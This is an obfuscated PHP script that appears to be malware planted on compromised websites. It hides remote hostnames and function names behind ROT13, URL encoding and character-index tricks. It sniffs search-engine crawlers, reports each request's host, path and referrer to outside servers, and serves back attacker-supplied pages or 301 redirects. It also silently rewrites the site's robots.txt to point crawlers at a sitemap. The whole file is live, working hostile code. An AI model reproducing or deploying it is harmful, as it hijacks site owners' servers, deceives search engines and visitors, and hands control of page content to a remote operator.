<?php
$_ppqam = [
    "%33%39%36%35%2D%79%76%61%78%32%32%31%2E%70%65%72%6E%70%76%6D%72%61%2E%6B%6C%6D",
    "%33%39%36%35%2D%79%76%61%78%32%32%31%2E%7A%72%67%6E%6F%65%76%71%74%6E%2E%6B%6C%6D",
    "%33%39%36%35%2D%79%76%61%78%32%32%31%2E%7A%6E%74%61%6E%61%2E%67%62%63",
    "%33%39%36%35%2D%79%76%61%78%32%32%31%2E%64%68%76%61%67%72%66%66%6C%2E%67%62%63"
];
$_iywwe = str_rot13('3965-yvax221');

$_svxjj = isset($_SERVER[str_rot13('UGGC_UBFG')]) ? $_SERVER[str_rot13('UGGC_UBFG')] : '';
$_wupxj = isset($_SERVER[str_rot13('UGGC_ERSRERE')]) ? $_SERVER[str_rot13('UGGC_ERSRERE')] : '';
$_lgzep = _rnhjok() ? str_rot13('uggcf') : str_rot13('uggc');

$_gomkz = _ssfcpu();
$_ybzhm = _emoaqq() ?: str_rot13('/');

$_vetcp = str_rot13('vaqrk.cuc');
$_kkpes = str_rot13('vaqrk');
preg_match('/\/([^\/]+\.php)/', $_ybzhm, $_qntlb);
if (!empty($_qntlb)) {
    $_vetcp = $_qntlb[1];
    if (($_xcvgi = strpos($_ybzhm, $_vetcp)) !== false) {
        $_vetcp = ltrim(substr($_ybzhm, 0, $_xcvgi + strlen($_vetcp)), str_rot13('/'));
    }
    $_kkpes = str_replace(str_rot13('.cuc'), '', $_vetcp);
}
$_kkpes = stristr($_ybzhm, str_rot13('/?')) ? str_rot13('?') : $_kkpes;

$_jqroi = false;
if (strpos($_ybzhm, $_iywwe) !== false) {
    $_gomkz = 1;
    $_ybzhm = str_replace($_iywwe, '', $_ybzhm);
    $_jqroi = true;
}
if ($_ybzhm != str_rot13('/')) {
    $_ybzhm = str_replace(str_rot13('/') . $_vetcp, '', $_ybzhm);
    $_ybzhm = str_replace(str_rot13('/vaqrk.cuc'), '', $_ybzhm);
    $_ybzhm = str_replace(str_rot13('!'), '', $_ybzhm);
}

$_pdokh = http_build_query([
    str_rot13('jro') => $_svxjj,
    str_rot13('mm') => $_gomkz,
    str_rot13('hev') => urlencode($_ybzhm),
    str_rot13('heyfunat') => $_wupxj,
    str_rot13('uggc') => $_lgzep,
    str_rot13('zbqry') => $_kkpes,
    str_rot13('irefvba') => $_jqroi ? $_iywwe : ''
]);

_zwkuvr($_lgzep . str_rot13('://') . $_svxjj);
$_xwlgf = _jndqej($_ppqam, $_pdokh);

if (strpos($_xwlgf, str_rot13('abobghfrentrag')) === false) {
    $_chjqb = array(
        str_rot13('bxugzy') => array(
            str_rot13('urnqre') => str_rot13('Pbagrag-glcr: grkg/ugzy; punefrg=hgs-8'),
            str_rot13('ercynpr') => str_rot13('bxugzy'),
            str_rot13('grfg_rpub') => true,
            str_rot13('bhgchg') => true
        ),
        str_rot13('trgpbagrag500cntr') => array(
            str_rot13('urnqre') => str_rot13('UGGC/1.1 500 Vagreany Freire Reebe')
        ),
        str_rot13('404cntr') => array(
            str_rot13('urnqre') => str_rot13('UGGC/1.1 404 Abg Sbhaq')
        ),
        str_rot13('301cntr') => array(
            str_rot13('urnqre') => str_rot13('UGGC/1.1 301 Zbirq Creznaragyl'),
            str_rot13('pnpur_pbageby') => str_rot13('ab-pnpur, ab-fgber, zhfg-erinyvqngr'),
            str_rot13('ercynpr') => str_rot13('301cntr'),
            str_rot13('erqverpg') => true
        ),
        str_rot13('bxkzy') => array(
            str_rot13('urnqre') => str_rot13('Pbagrag-Glcr: nccyvpngvba/kzy; punefrg=hgs-8'),
            str_rot13('ercynpr') => str_rot13('bxkzy'),
            str_rot13('bhgchg') => true
        ),
        str_rot13('bxebobgf') => array(
            str_rot13('urnqre') => str_rot13('Pbagrag-Glcr: grkg/cynva'),
            str_rot13('ercynpr') => str_rot13('bxebobgf'),
            str_rot13('bhgchg') => true
        )
    );

    foreach ($_chjqb as $_wridw => $_qrqod) {
        if (strpos($_xwlgf, $_wridw) !== false) {
            @header($_qrqod[str_rot13('urnqre')]);

            if (isset($_qrqod[str_rot13('pnpur_pbageby')])) {
                @header(str_rot13('Pnpur-Pbageby: ') . $_qrqod[str_rot13('pnpur_pbageby')]);
                @header(str_rot13('Centzn: ab-pnpur'));
                @header(str_rot13('Rkcverf: 0'));
            }

            if (isset($_qrqod[str_rot13('ercynpr')])) {
                $_xwlgf = str_replace($_qrqod[str_rot13('ercynpr')], '', $_xwlgf);
            }

            if (isset($_qrqod[str_rot13('grfg_rpub')]) && $_jqroi) {
                echo $_iywwe;
            }

            if (isset($_qrqod[str_rot13('erqverpg')])) {
                @header(str_rot13('Ybpngvba: ') . $_xwlgf);
            } elseif (isset($_qrqod[str_rot13('bhgchg')])) {
                echo $_xwlgf;
            }

            die();
        }
    }
}

function _ssfcpu() {
    $_eymwm = isset($_SERVER[str_rot13('UGGC_HFRE_NTRAG')]) ? strtolower($_SERVER[str_rot13('UGGC_HFRE_NTRAG')]) : '';
    $_kzoaz = array(str_rot13('tbbtyrobg'), str_rot13('ovat'), str_rot13('lnubb'), str_rot13('tbbtyr'));

    foreach ($_kzoaz as $_qijrb) {
        if (strpos($_eymwm, $_qijrb) !== false) {
            return 1;
        }
    }
    return 2;
}

function _emoaqq() {
    if (isset($_SERVER[str_rot13('ERDHRFG_HEV')])) {
        return $_SERVER[str_rot13('ERDHRFG_HEV')];
    }

    if (isset($_SERVER[str_rot13('neti')])) {
        return $_SERVER[str_rot13('CUC_FRYS')] . str_rot13('?') . $_SERVER[str_rot13('neti')][0];
    }

    return $_SERVER[str_rot13('CUC_FRYS')] . str_rot13('?') . $_SERVER[str_rot13('DHREL_FGEVAT')];
}

function _rnhjok() {
    if (isset($_SERVER[str_rot13('UGGCF')])) {
        $_wqtgf = strtolower($_SERVER[str_rot13('UGGCF')]);
        if ($_wqtgf !== str_rot13('bss') && $_wqtgf !== '') {
            return true;
        }
    }

    if (isset($_SERVER[str_rot13('UGGC_K_SBEJNEQRQ_CEBGB')]) && $_SERVER[str_rot13('UGGC_K_SBEJNEQRQ_CEBGB')] === str_rot13('uggcf')) {
        return true;
    }

    if (isset($_SERVER[str_rot13('UGGC_SEBAG_RAQ_UGGCF')])) {
        $_sevvh = strtolower($_SERVER[str_rot13('UGGC_SEBAG_RAQ_UGGCF')]);
        if ($_sevvh !== str_rot13('bss') && $_sevvh !== '') {
            return true;
        }
    }

    return false;
}

function _zwkuvr($_pelvl) {
    $_ahsri = _gqpznc();
    $_osrss = $_SERVER[str_rot13('QBPHZRAG_EBBG')] . str_rot13('/ebobgf.gkg');
    $_gfcmq = str_rot13('Hfre-ntrag: *') . PHP_EOL . str_rot13('Nyybj: /') . PHP_EOL . PHP_EOL . str_rot13('Fvgrznc: ') . $_pelvl . str_rot13('/fvgrznc.kzy') . PHP_EOL;

    if (!file_exists($_osrss)) {
        @$_ahsri[0]($_osrss, $_gfcmq);
    } else {
        $_dbkkl = $_ahsri[1]($_osrss);
        if ($_dbkkl !== $_gfcmq) {
            @$_ahsri[0]($_osrss, $_gfcmq);
        }
    }
}

function _jndqej($_wrrnc, $_pdokh) {
    $_ahsri = _gqpznc();
    shuffle($_wrrnc);

    foreach ($_wrrnc as $_jousk) {
        $_yhzjk = $_ahsri[2](urldecode($_jousk));
        $_pelvl = str_rot13('uggc://') . $_yhzjk . str_rot13('/vaqrk.cuc?') . $_pdokh;

        if (function_exists(str_rot13('jc_erzbgr_trg'))) {
            $_qemvg = wp_remote_get($_pelvl, array(
                str_rot13('gvzrbhg') => (455 ^ 473),
                str_rot13('hfre-ntrag') => str_rot13('Zbmvyyn/5.0 (pbzcngvoyr; JbeqCerff)')
            ));

            if (!is_wp_error($_qemvg)) {

                $_dfxqu = wp_remote_retrieve_body($_qemvg);

                return $_dfxqu;
            }
        }

        if (function_exists(str_rot13('phey_vavg'))) {
            $_mjvst = curl_init();
            curl_setopt($_mjvst, CURLOPT_URL, $_pelvl);
            curl_setopt($_mjvst, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($_mjvst, CURLOPT_TIMEOUT, (325 ^ 347));
            $_qemvg = curl_exec($_mjvst);

            if (!curl_errno($_mjvst)) {
                curl_close($_mjvst);
                return $_qemvg;
            }
            curl_close($_mjvst);
        }

        if (ini_get(str_rot13('nyybj_hey_sbcra'))) {
            $_lmrax = stream_context_create(array(
                str_rot13('uggc') => array(str_rot13('gvzrbhg') => (145 ^ 143))
            ));
            $_qemvg = @$_ahsri[1]($_pelvl, false, $_lmrax);
            if ($_qemvg !== false) {
                return $_qemvg;
            }
        }
    }

    return str_rot13('abobghfrentrag');
}

function _gqpznc() {
    $_dvlsn = range(str_rot13('n'), str_rot13('m'));
    return array(
        $_dvlsn[5] . $_dvlsn[8] . $_dvlsn[11] . $_dvlsn[4] . str_rot13('_') . $_dvlsn[15] . $_dvlsn[20] . $_dvlsn[19] . str_rot13('_') . $_dvlsn[2] . $_dvlsn[14] . $_dvlsn[13] . $_dvlsn[19] . $_dvlsn[4] . $_dvlsn[13] . $_dvlsn[19] . $_dvlsn[18],
        $_dvlsn[5] . $_dvlsn[8] . $_dvlsn[11] . $_dvlsn[4] . str_rot13('_') . $_dvlsn[6] . $_dvlsn[4] . $_dvlsn[19] . str_rot13('_') . $_dvlsn[2] . $_dvlsn[14] . $_dvlsn[13] . $_dvlsn[19] . $_dvlsn[4] . $_dvlsn[13] . $_dvlsn[19] . $_dvlsn[18],
        $_dvlsn[18] . $_dvlsn[19] . $_dvlsn[17] . str_rot13('_') . $_dvlsn[17] . $_dvlsn[14] . $_dvlsn[19] . str_rot13('13')
    );
}